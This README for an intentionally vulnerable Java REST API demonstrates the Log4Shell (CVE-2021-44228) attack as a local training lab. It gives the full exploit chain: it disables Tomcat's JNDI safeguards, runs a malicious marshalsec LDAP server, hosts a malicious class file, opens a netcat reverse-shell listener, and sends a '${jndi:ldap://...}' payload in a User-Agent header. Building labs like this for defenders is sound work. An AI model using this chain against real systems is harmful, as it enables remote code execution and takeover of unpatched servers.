A vulnerable Java based REST API for demonstrating CVE-2021-44228 (log4shell).
Log4Shell took the internet by storm in early December 2021. A Zero Day vulnerability in the Apache Log4j logging library, capable of Remote Code Execution (RCE) that had organizations across the globe scrambling to fix/patch/mitigate their public facing Java applications. As the InfoSec community came together to provide a continued analysis and solutions to security teams, the Log4j community was busy developing patches to ensure an end to this vuln.
I developed this simple vulnerable REST API that demonstrates the path to Remote Code Execution (RCE) by exploiting this vulnerability using the Apache Tomcat application server. I hope this proof of concept can be used to train your SecOps teams or educating current and future application developers. Train your teams and improve your defenses, including but not limited to, SIEM rules/alerts, EDRs, SOARs.
To understand the work flow of this attack, take a look at this graphic provided by the Swiss Government Computer Emergency Response Team GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
This tutorial and source code are provided solely for educational and training purposes. Please use ethically and responsibly. This tutorial was prepared with the assumption that the attacker and vulnerable application are on the same computer. For a more real world experience spread out the architecture and run the vulnerable application on its own server and use something like Kali Linux or another flavor to simulate the attacker.
Let's get started.
- Test Environment (VM or Hardware, preferably Linux to build and test. I used a VM running Ubuntu Server)
- Java JDK (I used OpenJDK 1.8.0_312)
- Maven (Java project build and management tool; I used ver. 3.6.3)
- Marshalsec (Java Unmarshaller for JNDI Redirecting: https://github.com/mbechler/marshalsec)
- Apache Tomcat 8 (I used version 8.0.32: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.32/bin/)
- Python3 Installed (we can use the http.server module to run a simple local web server to host our .class file)
- A malicious Java class file (source code provided in the xploitz directory)
- Finally, clone this repo!
Once you have Java JDK and Maven installed, assuming you're on a Linux distro, change directory to your vuln4japi location and build your project.
Note: You may want to modify certain components of the app before you build it. For example, you can modify the path to the log4j logs in the log4j2.xml file. Or you may want to change the name of the resulting war file in the pom.xml file. Its totally up to you.
cd /path/to/vuln4japi
mvn clean package -DskipTests
If you dont see any build errors, you should have a newly created target directory with your vuln4japi.war file. Ok, we'll come back to this file a little later. Let's look at Tomcat briefly.
Depending on your version of Java 8, later versions of 8 may have this particular setting (com.sun.jndi.ldap.object.trustURLCodebase) set to false. This effectively disallows JNDI from loading a remote codebase via LDAP. Which is what this vulnerability is exploiting. So, we need to modify Tomcat's catalina.properties file to set this system setting to True, making Tomcat intentionally vulnerable.
Once you download apache-tomcat-8.0.32.tar.gz for Linux, untar it somewhere like the /opt directory.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
Change directory to /conf and modify catalina.properties at the bottom of the file.
Note: Use your prefered text editor. I use vim in this example.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# add the following system properties at the very end
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
Exit your text editor and start Tomcat using the catalina.sh script inside the /bin directory.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
Test your instance of Apache Tomcat by navigating to http://localhost:8080/ or a simple cURL command from the command line interface.
curl -vv http://localhost:8080/
If you see a welcome page on your browser or terminal, then it should be working. Now we can deploy our Vulnerable App.
Copy your .war file to Tomcat's /webapps directory. Tomcat will hotdeploy your application in a matter of seconds.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
Test your vulnerable app by navigating to the app URL or again using cURL from the command line. On the browser: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
You should see the following message displayed, Hi, this is a Vulnerable App!!
Now that we have some components working, let's exploit this thing...
The marshalsec project is an excellent resource for understanding this type of attack in detail. Essentially, it acts as a malicous LDAP server that then redirects any request to a malicous web server hosting the .class file. I highly recommend reviewing some of the documentation posted on mbechler's Github repo prior to using marshalsec: https://github.com/mbechler/marshalsec
If you decide to skip the technical details and documentation, clone that repo and change directory to it. Now, before you build that java project, I recommend adding a one line debug statement in the LDAPRefServer.java file. This print statement will be useful when capturing the LDAP query from the vulnerable server.
Using your favorite text editor, edit the following file and add the line as shown in the code block below, in the processSearchResult()
method.
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// add this line to show the full request information
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
Once you've modified the file save and exit your text editor. Now you should be able to build the marshalsec project using Maven. Change directory back to the root of the marshalsec folder and execute maven.
mvn clean package -DskipTests
If there are no build errors, you should see the newly created /marshalsec/target directory with the marshalsec-0.0.3-SNAPSHOT-all.jar
file included.
Let's set up the rest of our attacker tools before we execute our marshalsec malicious LDAP server.
Change directory to the exploitz folder and compile the Exploit.java
file included.
javac Exploit.java
If you do not get any errors, you should have an Exploit.class
file.
That should do it. You should have everything you need compiled and Web Server running. Again, assuming you're running this test on a Linux server, you will open at least 5 Terminal windows.
Terminal 1: Run marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
Terminal 2: Change directory to the xploitz directory where your Exploit.class
is and run a local Python server.
python3 -m http.server 8081
Terminal 3: Tail your /tmp/logs/vuln4jpi_log4j.log
file to follow the requests made to your vulnerable app.
tail -f /tmp/logs/vuln4japi_log4j.log
Terminal 4: Open a netcat listener on port 8001. This will be the reverse shell connection from the same host of course. Remember, we are doing all of this on the same host. For a real world experience, try using 2 or 3 different computers.
nc -lv 8001
Terminal 5: Submit your payload using a simple cURL command.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
If all works as expected, you should have a shell forwarded to your netcat listener on port 8001. Review all your Terminal windows and observe the behavior in each one of them looking for any typos or syntax errors. There's alot going on here so human error is always in play. Give it a few runs until you get it down. You may have to modify the source a little, but hey, that's how we learn. ;-)
I hope you enjoy learning from this project as much as I enjoyed putting it together. Find me on twitter @offswitchsec if you have any feedback or comments. Enjoy and Happy Hacking!